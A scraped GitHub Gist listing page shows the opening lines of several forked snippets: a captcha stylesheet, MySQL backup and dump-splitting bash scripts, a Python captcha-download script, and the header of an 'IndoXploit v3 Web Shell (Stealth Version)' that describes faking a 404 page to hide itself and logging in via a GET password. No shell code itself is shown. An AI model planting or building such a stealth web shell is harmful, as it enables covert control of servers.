Skip to content

Instantly share code, notes, and snippets.

@zhangran
zhangran / captcha.css
Created June 17, 2023 14:05 — forked from RhythmShahriar/captcha.css
Simple Captcha for bootstrap form
/**-------------------------------------------------
* Simple Captcha System
* @package Code Snippets
* @link http://rhythmshahriar.com/codes/
* @author Rhythm Shahriar <rhy@rhythmshahriar.com>
* @link http://rhythmshahriar.com
* @copyright Copyright © 2017, Rhythm Shahriar
---------------------------------------------------*/
body {
background-color: #2d2d2d;
@zhangran
zhangran / idx_v3_modified.php
Created June 4, 2023 15:31 — forked from ttycelery/idx_v3_modified.php
IndoXploit Shell v3 (Stealth Version)
<?php
/*
* # IndoXploit v3 Web Shell (Stealth Version)
* # What was involved?
* - Uses dynamic 404 page from the server to make the web shell looks like it was deleted
* - Login method is by using GET parameters, (example: 'http://example.com/idx_s.php?passwd=password_saia_kaka')
* # Important Bookmark
* - Password configuration at line 27
* - login_shell() function at line 40-52
* - Login validation at line 57-64
@zhangran
zhangran / bash_backup_all_mysql_databases.sh
Created June 2, 2023 18:22 — forked from shakhmehedi/bash_backup_all_mysql_databases.sh
Bash scripts to backup all databases in a MySQL server with the option to exclude some databases.
#!/usr/bin/env bash
#This script backups selected databases in local MySQL server
#REQUIREMENTS
##mysqldump gzip
##mysql database has no root password. This script uses 'root' MySQL user without password as no 'root' password is set.
##This is not good practice. User with more restrictive permission should be used.
#set database user
@zhangran
zhangran / backup.sh
Last active June 2, 2023 17:59 — forked from qutek/backup.sh
[shell] Script to backup mysql databases with split
#!/bin/bash
### change the values below where needed.....
### taken from http://moinne.com/blog/ronald/mysql/backup-large-databases-with-mysqldump
DBNAMES="MyDb1 MyDb2 MyDb3"
HOST="--host=localhost"
USER="--user=root"
PASSWORD="--password=MyPassword"
BACKUP_DIR="/MyBackupDirectory"
#### you can change these values but they are optional....
@zhangran
zhangran / mysql_splitdump.sh
Created June 2, 2023 17:48 — forked from jasny/mysql_splitdump.sh
Split MySQL dump SQL file into one file per table or extract a single table
#!/bin/bash
####
# Split MySQL dump SQL file into one file per table
# based on http://blog.tty.nl/2011/12/28/splitting-a-database-dump
####
if [ $# -lt 1 ] ; then
echo "USAGE $0 DUMP_FILE [TABLE]"
exit
#!/usr/bin/env python
# coding=utf8
# author=evi1m0
# website=linux.im
'''
12306 Captcha Picture:
author: Evi1m0@20150316
1. Download Captcha
2. Pic Conver Text